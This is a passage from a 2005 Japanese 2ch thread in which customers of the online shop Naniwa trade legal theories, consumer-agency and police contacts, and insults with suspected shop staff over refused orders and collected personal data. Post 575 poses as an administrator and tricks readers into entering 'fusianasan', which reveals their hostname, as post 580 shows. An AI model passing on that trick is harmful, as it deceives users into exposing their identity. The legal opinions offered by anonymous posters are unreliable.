
513 :番組の途中ですが名無しです:05/03/02 18:55:53 ID:/IfyDn7p
いや子供のイベントで数ヶ月に1度使うもんでね

514 :番組の途中ですが名無しです:05/03/02 18:56:12 ID:NfbhVm3R
>>509
勿体ない

515 :番組の途中ですが名無しです:05/03/02 18:56:41 ID:Kcp3Ynp7
>>513

ちっ。なら仕方がねーな。

516 :番組の途中ですが名無しです:05/03/02 18:57:01 ID:G/DmgOqg
てめえらまとめて威力業務妨害で訴えるからな!

517 :番組の途中ですが名無しです:05/03/02 18:59:55 ID:069STO3s
>515
509じゃないけど、ほんとに買いたいの?
俺、今週末ソフマップに売りに行こうと思ってるけど。

518 :番組の途中ですが名無しです:05/03/02 19:00:42 ID:Kcp3Ynp7
>>517
そりゃもちろん、状態と価格によるよ。

519 :番組の途中ですが名無しです:05/03/02 19:00:52 ID:odo9A+hP
ID:G/DmgOqgちゃんはかわいいですね。最初はこんなこと言ってましたw

267 :番組の途中ですが名無しです :05/03/02 10:06:02 ID:G/DmgOqg
10時になったら工作員がでてきますた


で、あなたが工作員である疑いがますます強くなりましたねぇ。

520 :番組の途中ですが名無しです:05/03/02 19:05:03 ID:eT4x84ez
つーかさ、工作員も工作員、もうほとんど「名乗っていない社員」決定だよな。
仕事が終わってスレを見てみると、「訴えてやる」だのなんだの、「赤の他人を
装って議論をネガティブや関係ない方向に誘導する」っていう、「潜入中の工作員」
ではなくて、ただ、社員と客がやりあってるとしか言えないレス多数w。
非常におもしろい。

521 :番組の途中ですが名無しです:05/03/02 19:08:40 ID:dKVAFYrG
ID:G/DmgOqgちゃんは、>>516
「てめえらまとめて威力業務妨害で訴えるからな!」 って言ってる。
訴える当事者はこの場合ナニワなのだから、ナニワ社員だと明白に自白した。



522 :番組の途中ですが名無しです:05/03/02 19:12:37 ID:NfbhVm3R
っていうか特定商取引法に違反したら場合どうなるんだろう。
(実店舗含む)営業停止とか?

523 :番組の途中ですが名無しです:05/03/02 19:14:16 ID:069STO3s
>>518
状態はいいほうだと思うけど、新品の値段が値段だから
俺から買っても割に合わなそうだね。

524 :番組の途中ですが名無しです:05/03/02 19:17:41 ID:ersMDAX+
本日判明したポイント
特定商取引法違反の疑い

525 :番組の途中ですが名無しです:05/03/02 19:26:03 ID:WDcgXUSz
今朝、「無料相談の弁護士に相談した」と書き込みした者です。
警視庁の方に電話で問い合わせたら
http://www.npa.go.jp/cyber/policy/phishing/main.htm
「フィッシング行為について」
を教えて頂きました。ここを読んだらナニワの行為は法律違反だそうです。
また、「地元管轄警察署の生活安全課に相談に行って下さい。」
言われました。明日、仕事を休んで警察に行って来ます。
また、書き込み致します。
もうすでに書き込みがあった件ならすいません。

526 :番組の途中ですが名無しです:05/03/02 19:28:01 ID:NfbhVm3R
行政が違法と認定すれば↓のような事もありえるな

特定商取引法違反の販売業者に対する業務停止命令(1年間)について
http://www.meti.go.jp/press/20041221004/20041221004.html

527 :番組の途中ですが名無しです:05/03/02 19:28:06 ID:ersMDAX+
確定祭きたか?

528 :番組の途中ですが名無しです:05/03/02 19:29:48 ID:eT4x84ez
>>525 すごい気合いだ。感動した。

529 :番組の途中ですが名無しです:05/03/02 19:35:13 ID:ersMDAX+
皆の者、勇者につづくのじゃ〜

530 :番組の途中ですが名無しです:05/03/02 19:35:53 ID:NfbhVm3R
つまりこの場合、情報得てどうにかするんじゃなくて、情報を得るということが「フィッシング」な訳?

531 :番組の途中ですが名無しです:05/03/02 19:39:27 ID:WDcgXUSz
>>530
そのようです。
先ほどの書き込みで「法律違反だそうです」は「法律違反の疑い?」
に訂正させてください。
まだ、警察で「御墨付き」をもらったわけでないので・・・・

532 :番組の途中ですが名無しです:05/03/02 19:45:51 ID:ersMDAX+
つか警察からお墨付きでたら逮捕だし

533 :番組の途中ですが名無しです:05/03/02 19:48:01 ID:nSpodAn4
>>530
個人情報の保護に関する法律(平成十五年法律第五十七号)
第一章
第十七条 個人情報取扱事業者は、偽りその他不正の手段により個人情報を取得してはならない。


第一章については平成15年5月30日に既に施行

534 :番組の途中ですが名無しです:05/03/02 19:48:52 ID:fnB1dYyq
ナニワのBBS、クレカが使用不可能になってたって人が
もう一人出てきたよ〜。(・∀・)

http://rforum.rakuten.co.jp/?act=cattop&sid=2&cname=naniwa

535 :531:05/03/02 19:48:58 ID:WDcgXUSz
補足:
警視庁の係に今回の顛末を要約して話しましたが、
「それが事実なら地元所轄警察署の生活安全課に相談にいかれるか、
http://www.npa.go.jp/cyber/policy/phishing/main.htmの各警察署ホームページ
の方にお願いします。」と言われました。
やっぱり直接警察の人と会って話した方がいいとの判断で明日行って来ます。

536 :番組の途中ですが名無しです:05/03/02 19:51:59 ID:yBkBJAJa
中根個人を訴えてもいいかもな。フィッシングで。

537 :番組の途中ですが名無しです:05/03/02 19:53:52 ID:G/DmgOqg
訴える訴える口ではよういえるわな
やれるもんならやってみいや

538 :番組の途中ですが名無しです:05/03/02 19:53:54 ID:ersMDAX+
>>534
これはもうだめかもわからんね

539 :番組の途中ですが名無しです:05/03/02 19:54:46 ID:NfbhVm3R
塩山の身代わりなんだろうしなぁ、三代目予定の塩山氏をどうにかしたいもんだな。

540 :番組の途中ですが名無しです:05/03/02 19:55:34 ID:eT4x84ez
>>536 それはちょっと方向性違っちゃうだろ。

541 :番組の途中ですが名無しです:05/03/02 20:00:00 ID:/4Ptlug/
ごねても無駄だよ。


542 :番組の途中ですが名無しです:05/03/02 20:00:44 ID:eT4x84ez
つーかさ、工作員も工作員、もうほとんど「名乗っていない社員」決定だよな。
仕事が終わってスレを見てみると、「訴えてやる」だのなんだの、「赤の他人を
装って議論をネガティブや関係ない方向に誘導する」っていう、「潜入中の工作員」
ではなくて、ただ、社員と客がやりあってるとしか言えないレス多数w。
非常におもしろい。

543 :番組の途中ですが名無しです:05/03/02 20:01:38 ID:NfbhVm3R
ナニワさんゴネても無駄ですよ

544 :番組の途中ですが名無しです:05/03/02 20:07:30 ID:1fh/1Coz
仕事休んで警察かー。
俺は休めそうにないから、明日の昼休みにでも警察の電話相談窓口にかけてみるよ。

545 :番組の途中ですが名無しです:05/03/02 20:08:20 ID:DbRb6w+n
●第222条 《脅迫罪》
1)生命、身体、自由、名誉又は財産に対し害を加う可きことを以て人を脅迫し
 たる者は2年以下の懲役又は30万円以下の罰金に処す。
2)親族の生命、身体、自由、名誉又は財産に対し害を加う可きことを以て人を
 脅迫したる者亦同じ。

『人を畏怖させる意思でその人に畏怖心を生ぜしむべき害悪を通告する以上、
 脅迫罪は成立する』
『告訴の意思なく又はその意思不確定なるに拘らず告訴を為すべきことを通告
 するは、脅迫に属する害悪の通知であって、相手方の不法行為と対比して違
 法性なしとすることはできない』


546 :番組の途中ですが名無しです:05/03/02 20:10:33 ID:DbRb6w+n
>>516 は脅迫罪が成立したとみなして良いのでしょうかね。

547 :番組の途中ですが名無しです:05/03/02 20:19:48 ID:yBkBJAJa
中根は漏れの電凸の最中「怖い」と囁いてたな。

脅迫罪狙いか?w

548 :番組の途中ですが名無しです:05/03/02 20:19:54 ID:AKAAXnf9
訴える訴える口ではよういえるわな
やれるもんならやってみいや




549 :番組の途中ですが名無しです:05/03/02 20:23:04 ID:/IfyDn7p
従業員は遅くまで大変だなー

550 :番組の途中ですが名無しです:05/03/02 20:24:25 ID:1fh/1Coz
>>547

常に録音しとくといいかもな。

中根「もの凄い暴言はかれたんですよー脅迫ですよー」

警察「本当ですか?」

>>546「録音してあるので、ぜひ聞いてみてください」

中根(し、しまったーーー!!!)

551 :番組の途中ですが名無しです:05/03/02 20:25:22 ID:yBkBJAJa
社員と思われる単発IDが増えてまいりました。藁

552 :550:05/03/02 20:25:26 ID:1fh/1Coz
ああー。>>550の会話文中アンカーも>>547ね。

553 :番組の途中ですが名無しです:05/03/02 20:28:51 ID:/4Ptlug/
カテナを思い出すナー。あの時もスレの連中がみんな訴える訴える言ってたなーwwwwwww
結局訴えたのは一人だけ。しかも敗訴wwwwwwwwww
おまえら早く訴えろよwwwwwwwww

554 :番組の途中ですが名無しです:05/03/02 20:30:24 ID:yBkBJAJa
>>550
明日録音機材買いに逝くかw 

555 :番組の途中ですが名無しです:05/03/02 20:31:06 ID:DbRb6w+n
>>548
誰に対して言ってるのかも判別しがたい文章だな。
ちなみに俺は訴えるなんて一言も言っていない、
むしろお仲間?の>>516 が訴えると仰られております。

556 :番組の途中ですが名無しです:05/03/02 20:33:28 ID:nSpodAn4
>>553
今回の件は売れと訴えるのではなく
個人情報の件で警察に被害届出すのでは?

557 :番組の途中ですが名無しです:05/03/02 20:35:20 ID:DbRb6w+n
>>553
工作員ではないが俺も同意だ。
ムカつくだとか訴えるだとか言うだけな香具師は見てて哀れに思う。
ただお前のような拙い文章では自らの欲求を満たしているだけにしか取れん。

558 :番組の途中ですが名無しです:05/03/02 20:37:02 ID:eT4x84ez
「潜伏」して工作活動を行う工作員でなく、ここまであからさまに店側としての主張?
をするハニワ電機の社員さんなんだから、是非名前を名乗って欲しいな!

559 :番組の途中ですが名無しです:05/03/02 20:37:07 ID:1hq+V60T
たかが数万円の差額でギャーギャー騒ぐなよ貧乏人が

560 :番組の途中ですが名無しです:05/03/02 20:40:36 ID:T28qfyL1
>>559の言うとおりだ。
たかが数万円なんだからさっさと売れよ。

561 :番組の途中ですが名無しです:05/03/02 20:42:48 ID:eT4x84ez
そうだそうだ! 大阪商人のくせにみみっちーよ!

562 :番組の途中ですが名無しです:05/03/02 20:43:52 ID:DbRb6w+n
>>561
商人とは基本的にみみっちーもんだと思う。
大雑把で太っ腹だったらすぐに破綻するんじゃね?

563 :番組の途中ですが名無しです:05/03/02 20:48:32 ID:WEXS2AVg
>>562
>大雑把で太っ腹だったらすぐに破綻するんじゃね?

タレちゃんのことかー!

564 :番組の途中ですが名無しです:05/03/02 20:54:11 ID:CvbsjJsB
>>ID:G/DmgOqgちゃんの口癖
>訴える訴える口ではよういえるわな
>やれるもんならやってみいや

発言集どうぞ!
http://stick.newsplus.jp/id.cgi?bbs=news&word=ID%3AG%2FDmgOqg



自分は明日もしかすると、警察の相談センターに問い合わせするかもしれません

565 :番組の途中ですが名無しです:05/03/02 20:59:42 ID:eAH9l6Dt
購入資金を遊ばせたままにしてるんだが?

566 :番組の途中ですが名無しです:05/03/02 20:59:43 ID:DbRb6w+n
516 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/02 18:57:01 ID:G/DmgOqg
てめえらまとめて威力業務妨害で訴えるからな!
537 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/02 19:53:52 ID:G/DmgOqg
訴える訴える口ではよういえるわな
やれるもんならやってみいや

・・・・・・オイ。

567 :番組の途中ですが名無しです:05/03/02 21:00:27 ID:eT4x84ez
いったいなんなんだ。発言の馬鹿さ加減にもほどがある!

568 :番組の途中ですが名無しです:05/03/02 21:04:59 ID:7TpnD+71
アホの小僧ども、これは立派な威力業務妨害やね、
警察に捕まってから泣き叫んでも後悔先に立たず(ワラ

店にも客を選ぶ権利があるっちゅうねん

569 :番組の途中ですが名無しです:05/03/02 21:05:18 ID:9kbzczPP
早くナニワが、会社更生法を適用されて倒産とでないかなぁ。さすがに警察に
検挙されれば新聞に大きく載せられるよね。

570 :番組の途中ですが名無しです:05/03/02 21:11:41 ID:DbRb6w+n
>>568
「店にも客を選ぶ権利」
確かに常識の範囲においてその権利は保護されるべきだと思うが、
正当な契約の申し込みを行った者に対しては権利の発動力は無いに等しい。
偽名を使った契約などを虚偽の申し込みとして無効と判断するならば、
そういった者へ対しては、
その選ぶ権利とやらを主張して拒否することが出来ると思うがね。

571 :番組の途中ですが名無しです:05/03/02 21:13:53 ID:YXQis2CG
今夜も10時ごろから荒れるんだろ〜なぁ

572 :番組の途中ですが名無しです:05/03/02 21:19:08 ID:DbRb6w+n
進展の少ない現状では、多少荒れないと維持できないという事実はある、
その意味では俺は「やつら」に感謝しているな。
それに被害者(仮)側もお粗末な書き込みが少なからずあって、
その部分だけを見るとゴネ厨と言われても仕方が無い。
正直、俺もそういう香具師は気分が悪いから文句言いたくなる。

573 :番組の途中ですが名無しです:05/03/02 21:25:49 ID:HVLkffHY
>>568
店にも客を選ぶ権利
を主張するなら相手の顔が見えないネットショップなぞやるな

574 :番組の途中ですが名無しです:05/03/02 21:28:23 ID:WDcgXUSz
「威力業務妨害」

刑法 第二編 罪 第三十五章 信用及び業務に対する罪
第三十五章 信用及び業務に対する罪 虚偽の風説を流布し、
又は偽計を用いて、人の信用を毀損し、又はその業務を妨害した者は、
三年以下の懲役又は五十万円以下の・・・・・

第二百三十四条 【 威力業務妨害 】 威力を用いて人の業務を妨害した者

と「六法全書」には記載されていますが、
ここの掲示板で展開されている内容は、先にナニワがお客さまへの説明不足
から始まっている(主に個人情報の扱いなど・・)と思われるので、
ナニワ側(?)から「威力業務妨害で訴える」と余り豪語されますと
「脅迫罪」その他で反対に・・・


575 :”管理”人:05/03/02 21:37:00 ID:o7BQJEZw
荒れているスレッドなどを発見したときは
一時的(約1時間程度)に停止させることが出来ます。

名前欄に「fusianasan」と入力し
本文に「gest gest」と入力するだけです。

ただしこの操作を行ったPC及びホストからは
半日程度書き込みが出来なくなるので注意してください。

576 :番組の途中ですが名無しです:05/03/02 21:38:18 ID:3j4+kSa/
ecomより返事キター
関係する証拠を送れとの事
メールなんかはテキストファイルにして添付すればいいのかな?

577 :番組の途中ですが名無しです:05/03/02 21:38:29 ID:wa2YsFCw
俺はとりあえず明日、ニコスの方に電話入れてみることにする
カードが現状問題ないじょうたいなんかどうかの確認と
ナニワの事を出して、番号変えるなりなんなりの手続きを取った方がよいのか聞いてみるね
で、また警察の方では、ナニワやったことは違法行為の可能性も有ると言っていたとお伝え
(・∀・)ニヤニヤ

578 :番組の途中ですが名無しです:05/03/02 21:38:43 ID:XE5Zr5ha
gest面白れーーーーーー。
ここは頭の良いヤツの巣窟だな。

579 :番組の途中ですが名無しです:05/03/02 21:45:44 ID:DbRb6w+n
>>576
俺の場合別の問題で別の機関だけど、
保存したサイトやメールや画像を一括して圧縮して送ったと思う。

580 :ZH111221.ppp.dion.ne.jp:05/03/02 21:52:03 ID:v6qmHgrp
gest gest

581 :ZH111221.ppp.dion.ne.jp:05/03/02 21:56:58 ID:SIzkIdLn
これからガストで夕食だよ!

582 :番組の途中ですが名無しです:05/03/02 21:58:20 ID:3qUsuG04
>>577

そうですよね。多分、クレカを抑えるのが結構効くと思うのですけど。
フィッシングに引っかかったかもしれないと話して、今までの経緯を
言って、メールは一方通行、電話はつながらない、オンラインショップ
は一時休業といえば、相手にそのことが事実かを確認してくれる
んじゃないかなぁ。プレッシャーを与えるのが大事だよねぇ。

583 :番組の途中ですが名無しです:05/03/02 22:06:45 ID:DbRb6w+n
フィッシングについて「ハニワに言及しているのであれば」、
個人情報を取られたのみの現状をもって本証とするしかなく、
それに対したハニワ側の有効な反証は見当たらないと思う。
反証が無いことで覆されていないという見方をすれば、
状況的には肯定と取らざるを得ない気もする。(灰色状態)
あくまでも言及しているのであればでという仮定での個人的見解です。
本証が弱い気もするから立件するのは難しいかも?

584 :番組の途中ですが名無しです:05/03/02 22:09:13 ID:DbRb6w+n
ってことで>>582の戦法は有効なんじゃないだろうかってね。

585 :番組の途中ですが名無しです:05/03/02 22:14:24 ID:aUeGlwey
>>584
立件なんかどうでもいいんだよ。
あらゆる方面で”そういう疑いが高い”と助言を得ているわけだから、
Kに行けば捜査をするだろうがそれで十分だ。

586 :整理:05/03/02 22:17:25 ID:kfVuDN0+
個人により、民事で訴えるのは確かに大変です。なかなかできることじゃない
せいぜい2000円使って、内容証明送るぐらい。
↑簡単ですよ、ググってみましょう

でも、被害届けは別です。被害があったと認められれば国の機関が訴えてくれます
ガンバ

587 :番組の途中ですが名無しです:05/03/02 22:23:39 ID:1hq+V60T
だから何の被害があったんだよwクレーマーさん

588 :番組の途中ですが名無しです:05/03/02 22:23:44 ID:DbRb6w+n
>>585
立件がどうでもいいとなるとその目的が解らんのだが・・・。

589 :番組の途中ですが名無しです:05/03/02 22:28:34 ID:v6qmHgrp
だから何の秘貝があったんだよwクレーマーさん


590 :番組の途中ですが名無しです:05/03/02 22:30:53 ID:1fh/1Coz
>>589

釣りか?その変換は釣りなのか!!?

591 :番組の途中ですが名無しです:05/03/02 22:31:58 ID:yBkBJAJa
>>588
圧力。 

592 :番組の途中ですが名無しです:05/03/02 22:32:51 ID:CvbsjJsB
ここで整理しますが、
http://www.ecom.or.jp/adr/ja/topics/tp_04.htm
で載っている情報によれば、注文者側が個人情報削除をもとめる行動と
注文商品の引渡しを求める行為はある意味相反する内容になると考えられます。

と書いてあるけど、これからはまず「あっせん」により商品の引渡しを訴えていくつもりなんですが
それでいいんですよね?まずはナニワに現状のとおりの曖昧な対応から注文商品の引渡しを要求
していくことが順序だと思いますが、どうでしょうか。

それと、ここ
http://www.ecom.or.jp/adr/ja/topics/tp_03.htm
に載っているような、「ウェブ上」には「自動返信メールを受信しただけでは、まだ契約は成立しません」
といった表記はなかったと理解しているんですが、それにより依然商品引渡しの訴えが先決のように思いま
した。

この方針で行きたいと思いますがどうでしょうか?

593 :番組の途中ですが名無しです:05/03/02 22:33:20 ID:v6qmHgrp
>>589>>587のパロディー

594 :番組の途中ですが名無しです:05/03/02 22:36:58 ID:DbRb6w+n
>>591
立件の可能性の無いようなことではハニワに圧力は掛けられんでしょ?

595 :番組の途中ですが名無しです:05/03/02 22:48:00 ID:aUeGlwey
楽天へのポイント
楽天「個人情報は削除要請があったとしても消せない」

これは個人情報保護法ではどうなるのか?
本人からの削除要請でも削除しなくてよいのだろうか。

前スレ81
http://news19.2ch.net/test/read.cgi/news/1109609080/81
>楽天の個人情報は削除しないことの説明
>
>ただ、誠におそれ入りますが、上記処理がなされましても、
>ご入力の情報は、今後何らかの公的機関からの申し出に
>対応することを考慮して、削除ができないこととなっております。
この問題は、まだ詳しく議論されていないと思うがどうか。

596 :番組の途中ですが名無しです:05/03/02 22:59:29 ID:DbRb6w+n
>>595
証拠保全という観点もあると完全な削除は難しいのかな?
二次利用の停止は裁判所とか通せば出来そうな気もするけど・・・。

http://www.rakuten.co.jp/doc/info/rule/service.html
ここで同意して買い物等した限りは、
取得個人情報を楽天が規約の範囲内で使用することに同意していることになる。

597 :番組の途中ですが名無しです:05/03/02 23:03:20 ID:WDcgXUSz
>>595
>楽天「個人情報は削除要請があったとしても消せない」

>これは個人情報保護法ではどうなるのか?
>本人からの削除要請でも削除しなくてよいのだろうか。

昨日相談した弁護士さん個人の見解は
「契約が遂行された件については業者側が厳重に管理・保管するもの。」
であり「キャンセルや何らかの理由により契約が遂行されない場合は
速やかに業者側が破棄する。」と言ってました。

例えで就職の面接で履歴書を提出しますよね。
合格なら雇用する会社側が履歴書を保管・管理(門外不出)で
不合格の場合は面接を受けた人に履歴書を返還する。
みたいなことをおっしゃってました。

今回の件ではどちらにもあてはまりませんよね?





598 :番組の途中ですが名無しです:05/03/02 23:03:30 ID:gQ+9MsZv
今、仕事から帰ってきたけど、進展あったー?

599 :番組の途中ですが名無しです:05/03/02 23:05:39 ID:7mqEtXPh
ttp://www.arkjapan.com/mp3/
MP3プレーヤーの全商品が取り扱い中止になってる…。

600 :番組の途中ですが名無しです:05/03/02 23:08:14 ID:aUeGlwey
>>598

法的見解について
「非常に悪質」なので警察に相談すべしとのこと
>>272
>>282

特定商取引法について
表示されている責任者は責任者ではなかった。
>>380

601 :番組の途中ですが名無しです:05/03/02 23:09:06 ID:1hq+V60T
ぐだぐだいってねーでさっさと訴えてみろやw

602 :番組の途中ですが名無しです:05/03/02 23:10:12 ID:ElsESlEM
IT関連

【新品】低価格・激安ノートパソコンを語ろーPart10
http://pc5.2ch.net/test/read.cgi/pc/1107165314/
光ファイバー・FTTHならどこ?3
http://pc5.2ch.net/test/read.cgi/isp/1109343135/

603 :番組の途中ですが名無しです:05/03/02 23:10:15 ID:gQ+9MsZv
>>600
ありがとう。
誘導されたレス見てみるね。

604 :番組の途中ですが名無しです:05/03/02 23:11:23 ID:NfbhVm3R
たかだか数千万(だろう)の被害でぐだぐだ言ってねーでさっさと販売しろやw
と置き換えてみた。

605 :番組の途中ですが名無しです:05/03/02 23:11:55 ID:yBkBJAJa
>>594
可能性は皆無ではない。

結果としてフィッシング行為になってる訳ですから。

606 :番組の途中ですが名無しです:05/03/02 23:12:50 ID:CvbsjJsB
>>598
あなたがどういうこれからの相手への対応を希望しているかわかりませんが、
商品引渡しをご希望でしたら >>592 のような方針がよいと考えられます。

もし、商品引渡しをあきらめるのであれば、個人情報の保護の観点からナニワの
対応について、責任追及をする方法もあるでしょう。



どちらにしろ、選択はあなたの自由です。ただし、後者を追求する場合はあとから
前者の請求にもっていくのは難しいかもしれません。

607 :番組の途中ですが名無しです:05/03/02 23:14:22 ID:NfbhVm3R
特定商取引法の違反疑いが違法と認定されればナニワは痛いはず。

608 :番組の途中ですが名無しです:05/03/02 23:15:37 ID:1hq+V60T
だから何が違反してるんだよ?いってみw

609 :1&560 ◆yohAYGjGLI :05/03/02 23:17:51 ID:iFLWGDQ6
あおっているやつは何を考えているんだ。まったく。

610 :番組の途中ですが名無しです:05/03/02 23:17:52 ID:e5GOHL9K
http://tama-riva.hp.infoseek.co.jp/cgi-bin/upp/img-box/img20050211015010.jpg

611 :番組の途中ですが名無しです:05/03/02 23:18:46 ID:1hq+V60T



ゴネ厨氏ねよw


 

612 :番組の途中ですが名無しです:05/03/02 23:19:11 ID:DbRb6w+n
>>605
立件が難しい?と言ったら、
君が立件はどうでもいいと言ったから、ならば何が目的と聞いたんだ。
その目的が圧力だと言うが、
立件がどうでもいいようなことで圧力になるかと聞いたんだが?

613 :番組の途中ですが名無しです:05/03/02 23:20:00 ID:yBkBJAJa
店員=ID:1hq+V60T必死杉。w

もしかして塩山君本人か?藁

614 :番組の途中ですが名無しです:05/03/02 23:20:27 ID:eT4x84ez
店員も夜おそくまでお疲れ様です。 >>611

615 :番組の途中ですが名無しです:05/03/02 23:21:08 ID:NfbhVm3R
塩山君か!

616 :番組の途中ですが名無しです:05/03/02 23:21:25 ID:aUeGlwey
>>612
君もわからん人だねぇ。

617 :番組の途中ですが名無しです:05/03/02 23:21:27 ID:1hq+V60T



社会の底辺にいる奴らが必死だなw


 

618 :番組の途中ですが名無しです:05/03/02 23:21:31 ID:eT4x84ez
>>613 ええええええ! 石倉三郎本人が降臨か!?!?

619 :番組の途中ですが名無しです:05/03/02 23:22:32 ID:CvbsjJsB
>>617


社会の天辺にいるやつもこんなところで煽ってるなんてたいしたことないんだなw




620 :番組の途中ですが名無しです:05/03/02 23:22:40 ID:eT4x84ez
ナニワ関係の人は、きちんと名乗って欲しいな。

名乗って反論してくれた方が、かっこいいよ。むしろ。

621 :1&560:05/03/02 23:23:36 ID:iFLWGDQ6
まあこちら側の人もあおらないようにしようよ。

622 :番組の途中ですが名無しです:05/03/02 23:23:53 ID:UknUa8xa
┌| ∵|┘┌|_ _|┘└|-.-|┐┌|^.^|┘♪

623 :番組の途中ですが名無しです:05/03/02 23:24:21 ID:yBkBJAJa
>>612
店員君必死杉だよ。藁

624 :番組の途中ですが名無しです:05/03/02 23:24:23 ID:1hq+V60T
>>621
おまえか?電話放置されたやつ
社内で噂ですよw

625 :番組の途中ですが名無しです:05/03/02 23:25:45 ID:CvbsjJsB
>>621
失礼しました。2ch未熟者でした。

整理として、ここにいる人たちは >>606 の引用で言うと前者と後者
どのような方達がいるのかな? もしよければわかると議論が進むと
思うんですが。

626 :1&560 ◆yohAYGjGLI :05/03/02 23:28:40 ID:iFLWGDQ6
>>624
君がナニワの社員で、まあそれが事実だったら個人情報漏洩で訴えるだけだ。
大人になれよ。


627 :番組の途中ですが名無しです:05/03/02 23:30:23 ID:DbRb6w+n
>>616
問いに対して答えていないんだから答えが解るはずは無いだろう?
>>623
社員ではないんだがね、
そういう愚かしいことしか言えないからゴネ厨と言われてしまうと思う。

より有効な手立てを模索している中で、
こういう後ろ向きなままでは何も進展しないし、
掲示板上の(擬似?)集団としても成果も得られない、
何も理解しないで闇雲に動くだけでは相手の術中に落ちるだけだろ?


628 :番組の途中ですが名無しです:05/03/02 23:33:17 ID:3j4+kSa/
>>627
で?
さんざん後ろ向きな批判をされた貴君の前向きなご提案とやらを聞こうじゃないか?

629 :番組の途中ですが名無しです:05/03/02 23:33:31 ID:yBkBJAJa
ECOMに仲裁依頼メ-ル発砲済。
経済産業省消費者相談室にも相談済。
居住地の消費生活センターにも相談済。(ここでは警察へフィッシング行為の告訴を薦められた)



630 :番組の途中ですが名無しです:05/03/02 23:35:06 ID:RKFXGsdo
1年後ぐらいなら売ってくれるだろう
 

631 :番組の途中ですが名無しです:05/03/02 23:35:43 ID:2WkIDcyu
     カメラ!!! ♪  カメラ !!! ♪  カメラ !!! ♪
      ∧_∧      ∧_∧     ∧_∧
      (・∀・ )     .(・∀・ )    (.・∀・ )
   ((( ;;"~;;;"~゛;;)  ((( ;;"~;;;"~゛;;)  ((( ;;"~;;;"~゛;;)
    . ミ;,,_,ミ;,,_,,;ミ      ミ;,,_,ミ;,,_,,;ミ      ミ;,,_,ミ;,,_,,;ミ

632 :番組の途中ですが名無しです:05/03/02 23:36:31 ID:FgZQyvtg
>>625
そりゃあナニワ側の債務履行を望む前者が圧倒的多数だろう。

でも、楽天の規約では未だ契約締結前である以上、
ここをどう主張していくかってやっかいな問題(PCと携帯の差を除いて)がある。
ここを突くのはナニワだけじゃなく楽天の規約全体の問題になるから。

それとナニワからまだたいした返事が来てないのもあって、まだ様子見の
連中も多いんじゃないか? 俺もそうなんだが、今週末まで待って
何もなかったらecomに連絡する予定。

633 :番組の途中ですが名無しです:05/03/02 23:36:34 ID:gQ+9MsZv
さっき、メール落としていたら、ECOMADRからおてまみ届いてました!
返信しておこう。

250あたりから400まで読んだけど、今週末ぐらいに┌| ∵|┘は任意聴取になるかな?

634 :番組の途中ですが名無しです:05/03/02 23:43:21 ID:WDcgXUSz
私の勝手な想像(希望)ですが、
今回、初っ端にお客の個人情報を「予約注文」と言う名目に集めて
しまった店側は「フィッシング行為」で摘発?されるかも?というリスクを
考えた場合、最初に表示された価格でクレカや代引&振り込みのお客に販売するしか
ないように思うんです。そうすれば、店の信用もかろうじて守れるし、
いいと思うんですがネ。

御免なさい文章変ですよね?

635 :番組の途中ですが名無しです:05/03/02 23:49:47 ID:CvbsjJsB
>>632
そのとおりで、むしろナニワはあえて案件の報告の遅延のために契約締結の
完全な否定もしない状況を貫いているということだとおもいます。

これからも購入意思のある方達は、ecomの窓口の「あっせん」を選択して
商品受け渡しを訴えてください。

これからはもう購入意思のない場合は、ecom、警察相談電話等をつかって
個人情報の責任追及をする方針を採ればいいかと思います。

もし、すぐにでもできるのであれば、ナニワへ録音つきの連絡を取って
公式な発表という言葉付の契約の成立・不成立の発言を取り付ければ
いいのでしょうね。自分は残念ながら録音のとれるような環境を持ち
合わせていないので、これの実現を希望を持って待つことしかできま
せんが。いまのところ、ecomのあっせん待ちの状態です。
せんが。
>>634
実際のところ今現在の法律だとフィッシング詐欺での立証は難しそうですが
あなたはどう感じるでしょうか。いかを参照してみてください。
http://www.ecom.or.jp/adr/ja/topics/tp_04.htm

636 :番組の途中ですが名無しです:05/03/02 23:52:34 ID:DbRb6w+n
>>628
俺が社員に成りすまして荒らせば面白かったかもと後悔しているところ。
ラボの方では法的にもたぶんどうにもならんから、
告発サイトをって言ったけどな、
こっちは望みはあるんだから当事者ならくだらない事言ってないで頑張れよ。

637 :番組の途中ですが名無しです:05/03/02 23:56:19 ID:pRDwQs+8
もうあきらめたら?


638 :番組の途中ですが名無しです:05/03/02 23:58:13 ID:NfbhVm3R
>>624
ナニワの社員にしろ、社員でないにろ訴えられたら負けると思うよ。
社員ならお客に、社員じゃないならナニワの社員を騙った罪。

639 :番組の途中ですが名無しです:05/03/02 23:58:48 ID:QxMR98Xv
>>637
しっ!触るとうつるよ

640 :番組の途中ですが名無しです:05/03/02 23:59:16 ID:FgZQyvtg
>>635
うん、俺もおおむね同意。

現段階での最良の手は、ecom等の公的機関に「多数の」苦情を寄せることだと思う。
一人でも多い方がいいよな。週末まで待とうと思ってたけどecomに連絡してみるかな。

641 :1&560 ◆yohAYGjGLI :05/03/03 00:00:02 ID:V6IrHqmc
>>624を訴えるとしたらどこに言ったらいいんだろうかな…

642 :番組の途中ですが名無しです:05/03/03 00:00:57 ID:zAx6H7Sa
ID:1hq+V60Tさんがお風邪など召さずにご健康に過ごされますことをお祈り申し上げます。

643 :番組の途中ですが名無しです:05/03/03 00:01:13 ID:su+Of3xM
ID:pRDwQs+8はまだ張り付いてるのか

644 :番組の途中ですが名無しです:05/03/03 00:04:30 ID:Gd/SyP/o
私の場合は債務履行の方向で助言と言うことで話をしようとしています。
仮にもしダメでも、真実は何なのかを追求しようと思っています。

645 :番組の途中ですが名無しです:05/03/03 00:07:50 ID:OQTWi7dp
      ∧_∧
     ( ´Д` )  ゴネ厨ー
     /     ヽ
     し、__X__,ノJ

      /´⌒⌒ヽ
    l⌒    ⌒l  ガッ
   ⊂ (   ) ⊃
      V ̄V

646 :番組の途中ですが名無しです:05/03/03 00:08:32 ID:dWX3rXmy
■■   ためになるサイト集  ■■

弁護士による無料法律相談窓口纏めてくださっているサイト (←一見の価値あり)
http://www.asahi-net.or.jp/~zi3h-kwrz/feeno.html

経済産業省 (メール相談)
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国 消費生活センター (電話・現地窓口相談)
http://www.kokusen.go.jp/map/

電子商取引推進協議会 (WEBフォームから相談)
ttp://www.ecom.jp/adr/ja/

●まとめ●
http://ps2.s101.xrea.com/050226.html
http://naniwa.s115.xrea.com/
http://eoskissdn.nobody.jp/

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
